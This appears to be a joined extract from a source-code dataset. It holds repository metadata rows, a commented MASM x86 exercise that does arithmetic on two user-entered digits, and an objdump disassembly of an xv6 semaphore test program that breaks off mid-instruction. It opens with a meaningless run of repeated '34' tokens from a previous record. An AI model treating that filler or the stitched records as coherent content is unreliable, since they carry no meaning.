34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
35.455959
2,999
0.661114
3610dbd9e35da18be9912ca5c70c6978ca9137ee
4,445
asm
Assembly
7.Extra/InputAndProcedureCallASM/Input&ProcedureCall.asm
KDahir247/X86AssemblyPratice
f2f2267f4979e5332c727e49a9b3fb958f366938
[ "MIT" ]
1
2021-02-15T00:44:26.000Z
2021-02-15T00:44:26.000Z
7.Extra/InputAndProcedureCallASM/Input&ProcedureCall.asm
KDahir247/X86AssemblyPratice
f2f2267f4979e5332c727e49a9b3fb958f366938
[ "MIT" ]
null
null
null
7.Extra/InputAndProcedureCallASM/Input&ProcedureCall.asm
KDahir247/X86AssemblyPratice
f2f2267f4979e5332c727e49a9b3fb958f366938
[ "MIT" ]
null
null
null
.686 .model flat, c ;Implementation for this Assembly File ;Requires C.c file as well ;extern "C" void GetInput(); includelib msvcrt.lib ;C standard library for the visual c++ (MicroSoft Visual C Runtime) .data ;10 is new line and 0 is null (ASCII TABLE DEC) prevent getting the full byte in the invocation. Must now specify the Text Offset ;Initializing byte data (8 bit) Text db 'Hello enter a single signed digit number: ',10, 0 ; 44 byte db 'Enter another signed single digit number: ',10, 0 ; 44 byte db '--------Result--------',10,0 ; 24 byte Operation db 'Addition = ',0 ; 12 bytes db 'Subtraction = ',0 ;15 bytes db 'Multiplication = ',0 ;18 bytes db 'Division = ', 0 .code printf PROTO C : VARARG ; Printf function prototype that take multiple args in C.c RetrieveInput proto C ; RetrieveInput function prototype in C.c exit proto C :DWORD ; Exit function prototype that take a dword (int) in C.c PrintResult proto C :VARARG ; PrintResult function prototype that take multiple args in C.c ;STARTING POINT GetInput proc push ebp ; push the 32 bit base pointer register mov ebp, esp ; move the 32 bit stack pointer register to ebp sub esp, 8 ; allocate 8 byte of stack space xor eax, eax ; clearing out eax register value to 0 invoke printf, offset Text ; invoking printf function and pass Text without offset so it will print till null value (0) invoke RetrieveInput ; invoke RetrieveInput function in C.c and store the return value in eax register mov [ebp - 4], eax ; moving the return value from RetreiveInput function call in eax to the first allocated space of the stack space invoke printf, offset [Text + 44] ; invoke printf function and pass Text with an offset of 44 byte on the address which will print till the null (0) invoke RetrieveInput ; invoke RetrieveInput function in C.c and store the return value in eax register mov [ebp - 8], eax ; moving the return value from RetreiveInput function call in eax to the second allocated of the stack space ; Remember we allocated 8 byte and RetrieveInput return an dword (int) which is 4 byte so we can store two int in the allocated space of esp invoke printf, offset [Text + 88]; invoke printf function and pass Text with an offset of 88 byte on the address which will print till the null (0) call Calculate ; Call Calculate procedure from GetInput procedure GetInput endp Calculate proc call SetRegistry ; Call SetRegistry procedure from Calculate add eax, ecx ; We add eax and ecx (first input + second input) and store it in eax invoke PrintResult, offset Operation, eax ; invoke PrintResult function that take a char const* and a int to print the operation and value call SetRegistry ; Call SetRegistry procedure from Calculate sub eax, ecx ; We subtract eax from ecx (first input - second input) and store it in eax invoke PrintResult, offset [Operation + 12], eax ; invoke PrintResult function that take a char const* and a int to print the operation and value call SetRegistry ; Call SetRegistry procedure from Calculate mul ecx ; We multiply eax with ecx (first input * second input) and store it in eax invoke PrintResult, offset [Operation + 27], eax ; invoke PrintResult function that take a char const* and a int to print the operation and value CALL SetRegistry ; Call SetRegistry procedure from Calculate xor edx, edx ; we have to clear out edx register since it us used by div instruction. Not doing so will most in a integer overflow div ecx ; divide eax from ecx (first input / second input) and store it in eax invoke PrintResult, offset [Operation + 45], eax ; invoke PrintResult function that take a char const* and a int to print the operation and value add esp,8 ; We de-allocated the 8 byte of stack space pop ebp ; We pop the pushed 32 bit base register invoke exit, 0 ; We invoke exit function which take an dword (int) as the exit code Calculate endp SetRegistry PROC xor eax, eax ; clearing out the eax register value to 0 xor ecx, ecx ; clearing out the ecx register value to 0 mov eax, dword ptr [ebp -4] ;eax will have the value that is stored in the first allocated space of esp (first input) mov ecx, dword ptr[ebp -8] ;ecx will have the value that is stored in the second allocated space of esp (second input) ret ; exit out SetRegistry procedure and continue execution of the prodecdure that has called this procedure SetRegistry endp end
46.789474
149
0.752306
9e727b5ba17f70922dbbbcc6c9d0fc2571fb1d66
59,277
asm
Assembly
sema_test.asm
tphan022/AssignmentTestCases
3a8894d70a95f061ef629cb53bbdc0aaadc50b99
[ "MIT-0" ]
null
null
null
sema_test.asm
tphan022/AssignmentTestCases
3a8894d70a95f061ef629cb53bbdc0aaadc50b99
[ "MIT-0" ]
null
null
null
sema_test.asm
tphan022/AssignmentTestCases
3a8894d70a95f061ef629cb53bbdc0aaadc50b99
[ "MIT-0" ]
null
null
null
_sema_test: file format elf32-i386 Disassembly of section .text: 00001000 <sem_init>: int value; // increment/decrement value struct queue q; // waiting queue }; void sem_init(struct Semaphore * s, int a) { 1000: 55 push %ebp 1001: 89 e5 mov %esp,%ebp 1003: 83 ec 18 sub $0x18,%esp init_q(&s->q); 1006: 8b 45 08 mov 0x8(%ebp),%eax 1009: 83 c0 08 add $0x8,%eax 100c: 89 04 24 mov %eax,(%esp) 100f: e8 d4 09 00 00 call 19e8 <init_q> lock_init(&s->lock); 1014: 8b 45 08 mov 0x8(%ebp),%eax 1017: 89 04 24 mov %eax,(%esp) 101a: e8 b3 08 00 00 call 18d2 <lock_init> s->value = a; 101f: 8b 45 08 mov 0x8(%ebp),%eax 1022: 8b 55 0c mov 0xc(%ebp),%edx 1025: 89 50 04 mov %edx,0x4(%eax) }; 1028: c9 leave 1029: c3 ret 0000102a <sem_acquire>: void sem_acquire(struct Semaphore * s) { 102a: 55 push %ebp 102b: 89 e5 mov %esp,%ebp 102d: 83 ec 18 sub $0x18,%esp lock_acquire(&s->lock); 1030: 8b 45 08 mov 0x8(%ebp),%eax 1033: 89 04 24 mov %eax,(%esp) 1036: e8 a5 08 00 00 call 18e0 <lock_acquire> if (s->value > 0) 103b: 8b 45 08 mov 0x8(%ebp),%eax 103e: 8b 40 04 mov 0x4(%eax),%eax 1041: 85 c0 test %eax,%eax 1043: 7e 1c jle 1061 <sem_acquire+0x37> { s->value--; 1045: 8b 45 08 mov 0x8(%ebp),%eax 1048: 8b 40 04 mov 0x4(%eax),%eax 104b: 8d 50 ff lea -0x1(%eax),%edx 104e: 8b 45 08 mov 0x8(%ebp),%eax 1051: 89 50 04 mov %edx,0x4(%eax) lock_release(&s->lock); 1054: 8b 45 08 mov 0x8(%ebp),%eax 1057: 89 04 24 mov %eax,(%esp) 105a: e8 a0 08 00 00 call 18ff <lock_release> return; 105f: eb 27 jmp 1088 <sem_acquire+0x5e> } add_q(&s->q, getpid()); 1061: e8 72 03 00 00 call 13d8 <getpid> 1066: 8b 55 08 mov 0x8(%ebp),%edx 1069: 83 c2 08 add $0x8,%edx 106c: 89 44 24 04 mov %eax,0x4(%esp) 1070: 89 14 24 mov %edx,(%esp) 1073: e8 92 09 00 00 call 1a0a <add_q> lock_release(&s->lock); 1078: 8b 45 08 mov 0x8(%ebp),%eax 107b: 89 04 24 mov %eax,(%esp) 107e: e8 7c 08 00 00 call 18ff <lock_release> tsleep(); 1083: e8 80 03 00 00 call 1408 <tsleep> }; 1088: c9 leave 1089: c3 ret 0000108a <sem_signal>: void sem_signal(struct Semaphore * s) { 108a: 55 push %ebp 108b: 89 e5 mov %esp,%ebp 108d: 83 ec 28 sub $0x28,%esp lock_acquire(&s->lock); 1090: 8b 45 08 mov 0x8(%ebp),%eax 1093: 89 04 24 mov %eax,(%esp) 1096: e8 45 08 00 00 call 18e0 <lock_acquire> if (empty_q(&s->q) == 1) 109b: 8b 45 08 mov 0x8(%ebp),%eax 109e: 83 c0 08 add $0x8,%eax 10a1: 89 04 24 mov %eax,(%esp) 10a4: e8 c1 09 00 00 call 1a6a <empty_q> 10a9: 83 f8 01 cmp $0x1,%eax 10ac: 75 11 jne 10bf <sem_signal+0x35> { s->value++; 10ae: 8b 45 08 mov 0x8(%ebp),%eax 10b1: 8b 40 04 mov 0x4(%eax),%eax 10b4: 8d 50 01 lea 0x1(%eax),%edx 10b7: 8b 45 08 mov 0x8(%ebp),%eax 10ba: 89 50 04 mov %edx,0x4(%eax) 10bd: eb 1c jmp 10db <sem_signal+0x51> } else { int tid = pop_q(&s->q); 10bf: 8b 45 08 mov 0x8(%ebp),%eax 10c2: 83 c0 08 add $0x8,%eax 10c5: 89 04 24 mov %eax,(%esp) 10c8: e8 b7 09 00 00 call 1a84 <pop_q> 10cd: 89 45 f4 mov %eax,-0xc(%ebp) twakeup(tid); 10d0: 8b 45 f4 mov -0xc(%ebp),%eax 10d3: 89 04 24 mov %eax,(%esp) 10d6: e8 35 03 00 00 call 1410 <twakeup> } lock_release(&s->lock); 10db: 8b 45 08 mov 0x8(%ebp),%eax 10de: 89 04 24 mov %eax,(%esp) 10e1: e8 19 08 00 00 call 18ff <lock_release> }; 10e6: c9 leave 10e7: c3 ret 000010e8 <main>: #include "semaphore.h" int main() { 10e8: 55 push %ebp 10e9: 89 e5 mov %esp,%ebp 10eb: 83 e4 f0 and $0xfffffff0,%esp //struct Semaphore * s = malloc(sizeof(struct Semaphore)); // change to thread_create instead of fork // write a test_func for the thread exit(); 10ee: e8 65 02 00 00 call 1358 <exit> 10f3: 90 nop 000010f4 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 10f4: 55 push %ebp 10f5: 89 e5 mov %esp,%ebp 10f7: 57 push %edi 10f8: 53 push %ebx asm volatile("cld; rep stosb" : 10f9: 8b 4d 08 mov 0x8(%ebp),%ecx 10fc: 8b 55 10 mov 0x10(%ebp),%edx 10ff: 8b 45 0c mov 0xc(%ebp),%eax 1102: 89 cb mov %ecx,%ebx 1104: 89 df mov %ebx,%edi 1106: 89 d1 mov %edx,%ecx 1108: fc cld 1109: f3 aa rep stos %al,%es:(%edi) 110b: 89 ca mov %ecx,%edx 110d: 89 fb mov %edi,%ebx 110f: 89 5d 08 mov %ebx,0x8(%ebp) 1112: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 1115: 5b pop %ebx 1116: 5f pop %edi 1117: 5d pop %ebp 1118: c3 ret 00001119 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1119: 55 push %ebp 111a: 89 e5 mov %esp,%ebp 111c: 83 ec 10 sub $0x10,%esp char *os; os = s; 111f: 8b 45 08 mov 0x8(%ebp),%eax 1122: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 1125: 8b 45 0c mov 0xc(%ebp),%eax 1128: 0f b6 10 movzbl (%eax),%edx 112b: 8b 45 08 mov 0x8(%ebp),%eax 112e: 88 10 mov %dl,(%eax) 1130: 8b 45 08 mov 0x8(%ebp),%eax 1133: 0f b6 00 movzbl (%eax),%eax 1136: 84 c0 test %al,%al 1138: 0f 95 c0 setne %al 113b: 83 45 08 01 addl $0x1,0x8(%ebp) 113f: 83 45 0c 01 addl $0x1,0xc(%ebp) 1143: 84 c0 test %al,%al 1145: 75 de jne 1125 <strcpy+0xc> ; return os; 1147: 8b 45 fc mov -0x4(%ebp),%eax } 114a: c9 leave 114b: c3 ret 0000114c <strcmp>: int strcmp(const char *p, const char *q) { 114c: 55 push %ebp 114d: 89 e5 mov %esp,%ebp while(*p && *p == *q) 114f: eb 08 jmp 1159 <strcmp+0xd> p++, q++; 1151: 83 45 08 01 addl $0x1,0x8(%ebp) 1155: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1159: 8b 45 08 mov 0x8(%ebp),%eax 115c: 0f b6 00 movzbl (%eax),%eax 115f: 84 c0 test %al,%al 1161: 74 10 je 1173 <strcmp+0x27> 1163: 8b 45 08 mov 0x8(%ebp),%eax 1166: 0f b6 10 movzbl (%eax),%edx 1169: 8b 45 0c mov 0xc(%ebp),%eax 116c: 0f b6 00 movzbl (%eax),%eax 116f: 38 c2 cmp %al,%dl 1171: 74 de je 1151 <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 1173: 8b 45 08 mov 0x8(%ebp),%eax 1176: 0f b6 00 movzbl (%eax),%eax 1179: 0f b6 d0 movzbl %al,%edx 117c: 8b 45 0c mov 0xc(%ebp),%eax 117f: 0f b6 00 movzbl (%eax),%eax 1182: 0f b6 c0 movzbl %al,%eax 1185: 89 d1 mov %edx,%ecx 1187: 29 c1 sub %eax,%ecx 1189: 89 c8 mov %ecx,%eax } 118b: 5d pop %ebp 118c: c3 ret 0000118d <strlen>: uint strlen(char *s) { 118d: 55 push %ebp 118e: 89 e5 mov %esp,%ebp 1190: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 1193: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 119a: eb 04 jmp 11a0 <strlen+0x13> 119c: 83 45 fc 01 addl $0x1,-0x4(%ebp) 11a0: 8b 45 fc mov -0x4(%ebp),%eax 11a3: 03 45 08 add 0x8(%ebp),%eax 11a6: 0f b6 00 movzbl (%eax),%eax 11a9: 84 c0 test %al,%al 11ab: 75 ef jne 119c <strlen+0xf> ; return n; 11ad: 8b 45 fc mov -0x4(%ebp),%eax } 11b0: c9 leave 11b1: c3 ret 000011b2 <memset>: void* memset(void *dst, int c, uint n) { 11b2: 55 push %ebp 11b3: 89 e5 mov %esp,%ebp 11b5: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 11b8: 8b 45 10 mov 0x10(%ebp),%eax 11bb: 89 44 24 08 mov %eax,0x8(%esp) 11bf: 8b 45 0c mov 0xc(%ebp),%eax 11c2: 89 44 24 04 mov %eax,0x4(%esp) 11c6: 8b 45 08 mov 0x8(%ebp),%eax 11c9: 89 04 24 mov %eax,(%esp) 11cc: e8 23 ff ff ff call 10f4 <stosb> return dst; 11d1: 8b 45 08 mov 0x8(%ebp),%eax } 11d4: c9 leave 11d5: c3 ret 000011d6 <strchr>: char* strchr(const char *s, char c) { 11d6: 55 push %ebp 11d7: 89 e5 mov %esp,%ebp 11d9: 83 ec 04 sub $0x4,%esp 11dc: 8b 45 0c mov 0xc(%ebp),%eax 11df: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 11e2: eb 14 jmp 11f8 <strchr+0x22> if(*s == c) 11e4: 8b 45 08 mov 0x8(%ebp),%eax 11e7: 0f b6 00 movzbl (%eax),%eax 11ea: 3a 45 fc cmp -0x4(%ebp),%al 11ed: 75 05 jne 11f4 <strchr+0x1e> return (char*)s; 11ef: 8b 45 08 mov 0x8(%ebp),%eax 11f2: eb 13 jmp 1207 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 11f4: 83 45 08 01 addl $0x1,0x8(%ebp) 11f8: 8b 45 08 mov 0x8(%ebp),%eax 11fb: 0f b6 00 movzbl (%eax),%eax 11fe: 84 c0 test %al,%al 1200: 75 e2 jne 11e4 <strchr+0xe> if(*s == c) return (char*)s; return 0; 1202: b8 00 00 00 00 mov $0x0,%eax } 1207: c9 leave 1208: c3 ret 00001209 <gets>: char* gets(char *buf, int max) { 1209: 55 push %ebp 120a: 89 e5 mov %esp,%ebp 120c: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 120f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 1216: eb 44 jmp 125c <gets+0x53> cc = read(0, &c, 1); 1218: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 121f: 00 1220: 8d 45 ef lea -0x11(%ebp),%eax 1223: 89 44 24 04 mov %eax,0x4(%esp) 1227: c7 04 24 00 00 00 00 movl $0x0,(%esp) 122e: e8 3d 01 00 00 call 1370 <read> 1233: 89 45 f4 mov %eax,-0xc(%ebp) if(cc < 1) 1236: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 123a: 7e 2d jle 1269 <gets+0x60> break; buf[i++] = c; 123c: 8b 45 f0 mov -0x10(%ebp),%eax 123f: 03 45 08 add 0x8(%ebp),%eax 1242: 0f b6 55 ef movzbl -0x11(%ebp),%edx 1246: 88 10 mov %dl,(%eax) 1248: 83 45 f0 01 addl $0x1,-0x10(%ebp) if(c == '\n' || c == '\r') 124c: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1250: 3c 0a cmp $0xa,%al 1252: 74 16 je 126a <gets+0x61> 1254: 0f b6 45 ef movzbl -0x11(%ebp),%eax 1258: 3c 0d cmp $0xd,%al 125a: 74 0e je 126a <gets+0x61> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 125c: 8b 45 f0 mov -0x10(%ebp),%eax 125f: 83 c0 01 add $0x1,%eax 1262: 3b 45 0c cmp 0xc(%ebp),%eax 1265: 7c b1 jl 1218 <gets+0xf> 1267: eb 01 jmp 126a <gets+0x61> cc = read(0, &c, 1); if(cc < 1) break; 1269: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 126a: 8b 45 f0 mov -0x10(%ebp),%eax 126d: 03 45 08 add 0x8(%ebp),%eax 1270: c6 00 00 movb $0x0,(%eax) return buf; 1273: 8b 45 08 mov 0x8(%ebp),%eax } 1276: c9 leave 1277: c3 ret 00001278 <stat>: int stat(char *n, struct stat *st) { 1278: 55 push %ebp 1279: 89 e5 mov %esp,%ebp 127b: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 127e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1285: 00 1286: 8b 45 08 mov 0x8(%ebp),%eax 1289: 89 04 24 mov %eax,(%esp) 128c: e8 07 01 00 00 call 1398 <open> 1291: 89 45 f0 mov %eax,-0x10(%ebp) if(fd < 0) 1294: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1298: 79 07 jns 12a1 <stat+0x29> return -1; 129a: b8 ff ff ff ff mov $0xffffffff,%eax 129f: eb 23 jmp 12c4 <stat+0x4c> r = fstat(fd, st); 12a1: 8b 45 0c mov 0xc(%ebp),%eax 12a4: 89 44 24 04 mov %eax,0x4(%esp) 12a8: 8b 45 f0 mov -0x10(%ebp),%eax 12ab: 89 04 24 mov %eax,(%esp) 12ae: e8 fd 00 00 00 call 13b0 <fstat> 12b3: 89 45 f4 mov %eax,-0xc(%ebp) close(fd); 12b6: 8b 45 f0 mov -0x10(%ebp),%eax 12b9: 89 04 24 mov %eax,(%esp) 12bc: e8 bf 00 00 00 call 1380 <close> return r; 12c1: 8b 45 f4 mov -0xc(%ebp),%eax } 12c4: c9 leave 12c5: c3 ret 000012c6 <atoi>: int atoi(const char *s) { 12c6: 55 push %ebp 12c7: 89 e5 mov %esp,%ebp 12c9: 83 ec 10 sub $0x10,%esp int n; n = 0; 12cc: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 12d3: eb 24 jmp 12f9 <atoi+0x33> n = n*10 + *s++ - '0'; 12d5: 8b 55 fc mov -0x4(%ebp),%edx 12d8: 89 d0 mov %edx,%eax 12da: c1 e0 02 shl $0x2,%eax 12dd: 01 d0 add %edx,%eax 12df: 01 c0 add %eax,%eax 12e1: 89 c2 mov %eax,%edx 12e3: 8b 45 08 mov 0x8(%ebp),%eax 12e6: 0f b6 00 movzbl (%eax),%eax 12e9: 0f be c0 movsbl %al,%eax 12ec: 8d 04 02 lea (%edx,%eax,1),%eax 12ef: 83 e8 30 sub $0x30,%eax 12f2: 89 45 fc mov %eax,-0x4(%ebp) 12f5: 83 45 08 01 addl $0x1,0x8(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 12f9: 8b 45 08 mov 0x8(%ebp),%eax 12fc: 0f b6 00 movzbl (%eax),%eax 12ff: 3c 2f cmp $0x2f,%al 1301: 7e 0a jle 130d <atoi+0x47> 1303: 8b 45 08 mov 0x8(%ebp),%eax 1306: 0f b6 00 movzbl (%eax),%eax 1309: 3c 39 cmp $0x39,%al 130b: 7e c8 jle 12d5 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 130d: 8b 45 fc mov -0x4(%ebp),%eax } 1310: c9 leave 1311: c3 ret 00001312 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 1312: 55 push %ebp 1313: 89 e5 mov %esp,%ebp 1315: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 1318: 8b 45 08 mov 0x8(%ebp),%eax 131b: 89 45 f8 mov %eax,-0x8(%ebp) src = vsrc; 131e: 8b 45 0c mov 0xc(%ebp),%eax 1321: 89 45 fc mov %eax,-0x4(%ebp) while(n-- > 0) 1324: eb 13 jmp 1339 <memmove+0x27> *dst++ = *src++; 1326: 8b 45 fc mov -0x4(%ebp),%eax 1329: 0f b6 10 movzbl (%eax),%edx 132c: 8b 45 f8 mov -0x8(%ebp),%eax 132f: 88 10 mov %dl,(%eax) 1331: 83 45 f8 01 addl $0x1,-0x8(%ebp) 1335: 83 45 fc 01 addl $0x1,-0x4(%ebp) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1339: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 133d: 0f 9f c0 setg %al 1340: 83 6d 10 01 subl $0x1,0x10(%ebp) 1344: 84 c0 test %al,%al 1346: 75 de jne 1326 <memmove+0x14> *dst++ = *src++; return vdst; 1348: 8b 45 08 mov 0x8(%ebp),%eax } 134b: c9 leave 134c: c3 ret 134d: 90 nop 134e: 90 nop 134f: 90 nop 00001350 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 1350: b8 01 00 00 00 mov $0x1,%eax 1355: cd 40 int $0x40 1357: c3 ret 00001358 <exit>: SYSCALL(exit) 1358: b8 02 00 00 00 mov $0x2,%eax 135d: cd 40 int $0x40 135f: c3 ret 00001360 <wait>: SYSCALL(wait) 1360: b8 03 00 00 00 mov $0x3,%eax 1365: cd 40 int $0x40 1367: c3 ret 00001368 <pipe>: SYSCALL(pipe) 1368: b8 04 00 00 00 mov $0x4,%eax 136d: cd 40 int $0x40 136f: c3 ret 00001370 <read>: SYSCALL(read) 1370: b8 05 00 00 00 mov $0x5,%eax 1375: cd 40 int $0x40 1377: c3 ret 00001378 <write>: SYSCALL(write) 1378: b8 10 00 00 00 mov $0x10,%eax 137d: cd 40 int $0x40 137f: c3 ret 00001380 <close>: SYSCALL(close) 1380: b8 15 00 00 00 mov $0x15,%eax 1385: cd 40 int $0x40 1387: c3 ret 00001388 <kill>: SYSCALL(kill) 1388: b8 06 00 00 00 mov $0x6,%eax 138d: cd 40 int $0x40 138f: c3 ret 00001390 <exec>: SYSCALL(exec) 1390: b8 07 00 00 00 mov $0x7,%eax 1395: cd 40 int $0x40 1397: c3 ret 00001398 <open>: SYSCALL(open) 1398: b8 0f 00 00 00 mov $0xf,%eax 139d: cd 40 int $0x40 139f: c3 ret 000013a0 <mknod>: SYSCALL(mknod) 13a0: b8 11 00 00 00 mov $0x11,%eax 13a5: cd 40 int $0x40 13a7: c3 ret 000013a8 <unlink>: SYSCALL(unlink) 13a8: b8 12 00 00 00 mov $0x12,%eax 13ad: cd 40 int $0x40 13af: c3 ret 000013b0 <fstat>: SYSCALL(fstat) 13b0: b8 08 00 00 00 mov $0x8,%eax 13b5: cd 40 int $0x40 13b7: c3 ret 000013b8 <link>: SYSCALL(link) 13b8: b8 13 00 00 00 mov $0x13,%eax 13bd: cd 40 int $0x40 13bf: c3 ret 000013c0 <mkdir>: SYSCALL(mkdir) 13c0: b8 14 00 00 00 mov $0x14,%eax 13c5: cd 40 int $0x40 13c7: c3 ret 000013c8 <chdir>: SYSCALL(chdir) 13c8: b8 09 00 00 00 mov $0x9,%eax 13cd: cd 40 int $0x40 13cf: c3 ret 000013d0 <dup>: SYSCALL(dup) 13d0: b8 0a 00 00 00 mov $0xa,%eax 13d5: cd 40 int $0x40 13d7: c3 ret 000013d8 <getpid>: SYSCALL(getpid) 13d8: b8 0b 00 00 00 mov $0xb,%eax 13dd: cd 40 int $0x40 13df: c3 ret 000013e0 <sbrk>: SYSCALL(sbrk) 13e0: b8 0c 00 00 00 mov $0xc,%eax 13e5: cd 40 int $0x40 13e7: c3 ret 000013e8 <sleep>: SYSCALL(sleep) 13e8: b8 0d 00 00 00 mov $0xd,%eax 13ed: cd 40 int $0x40 13ef: c3 ret 000013f0 <uptime>: SYSCALL(uptime) 13f0: b8 0e 00 00 00 mov $0xe,%eax 13f5: cd 40 int $0x40 13f7: c3 ret 000013f8 <clone>: SYSCALL(clone) 13f8: b8 16 00 00 00 mov $0x16,%eax 13fd: cd 40 int $0x40 13ff: c3 ret 00001400 <texit>: SYSCALL(texit) 1400: b8 17 00 00 00 mov $0x17,%eax 1405: cd 40 int $0x40 1407: c3 ret 00001408 <tsleep>: SYSCALL(tsleep) 1408: b8 18 00 00 00 mov $0x18,%eax 140d: cd 40 int $0x40 140f: c3 ret 00001410 <twakeup>: SYSCALL(twakeup) 1410: b8 19 00 00 00 mov $0x19,%eax 1415: cd 40 int $0x40 1417: c3 ret 00001418 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 1418: 55 push %ebp 1419: 89 e5 mov %esp,%ebp 141b: 83 ec 28 sub $0x28,%esp 141e: 8b 45 0c mov 0xc(%ebp),%eax 1421: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 1424: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 142b: 00 142c: 8d 45 f4 lea -0xc(%ebp),%eax 142f: 89 44 24 04 mov %eax,0x4(%esp) 1433: 8b 45 08 mov 0x8(%ebp),%eax 1436: 89 04 24 mov %eax,(%esp) 1439: e8 3a ff ff ff call 1378 <write> } 143e: c9 leave 143f: c3 ret 00001440 <printint>: static void printint(int fd, int xx, int base, int sgn) { 1440: 55 push %ebp 1441: 89 e5 mov %esp,%ebp 1443: 53 push %ebx 1444: 83 ec 44 sub $0x44,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 1447: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 144e: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 1452: 74 17 je 146b <printint+0x2b> 1454: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 1458: 79 11 jns 146b <printint+0x2b> neg = 1; 145a: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 1461: 8b 45 0c mov 0xc(%ebp),%eax 1464: f7 d8 neg %eax 1466: 89 45 f4 mov %eax,-0xc(%ebp) char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 1469: eb 06 jmp 1471 <printint+0x31> neg = 1; x = -xx; } else { x = xx; 146b: 8b 45 0c mov 0xc(%ebp),%eax 146e: 89 45 f4 mov %eax,-0xc(%ebp) } i = 0; 1471: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) do{ buf[i++] = digits[x % base]; 1478: 8b 4d ec mov -0x14(%ebp),%ecx 147b: 8b 5d 10 mov 0x10(%ebp),%ebx 147e: 8b 45 f4 mov -0xc(%ebp),%eax 1481: ba 00 00 00 00 mov $0x0,%edx 1486: f7 f3 div %ebx 1488: 89 d0 mov %edx,%eax 148a: 0f b6 80 30 1b 00 00 movzbl 0x1b30(%eax),%eax 1491: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) 1495: 83 45 ec 01 addl $0x1,-0x14(%ebp) }while((x /= base) != 0); 1499: 8b 45 10 mov 0x10(%ebp),%eax 149c: 89 45 d4 mov %eax,-0x2c(%ebp) 149f: 8b 45 f4 mov -0xc(%ebp),%eax 14a2: ba 00 00 00 00 mov $0x0,%edx 14a7: f7 75 d4 divl -0x2c(%ebp) 14aa: 89 45 f4 mov %eax,-0xc(%ebp) 14ad: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 14b1: 75 c5 jne 1478 <printint+0x38> if(neg) 14b3: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 14b7: 74 28 je 14e1 <printint+0xa1> buf[i++] = '-'; 14b9: 8b 45 ec mov -0x14(%ebp),%eax 14bc: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) 14c1: 83 45 ec 01 addl $0x1,-0x14(%ebp) while(--i >= 0) 14c5: eb 1a jmp 14e1 <printint+0xa1> putc(fd, buf[i]); 14c7: 8b 45 ec mov -0x14(%ebp),%eax 14ca: 0f b6 44 05 dc movzbl -0x24(%ebp,%eax,1),%eax 14cf: 0f be c0 movsbl %al,%eax 14d2: 89 44 24 04 mov %eax,0x4(%esp) 14d6: 8b 45 08 mov 0x8(%ebp),%eax 14d9: 89 04 24 mov 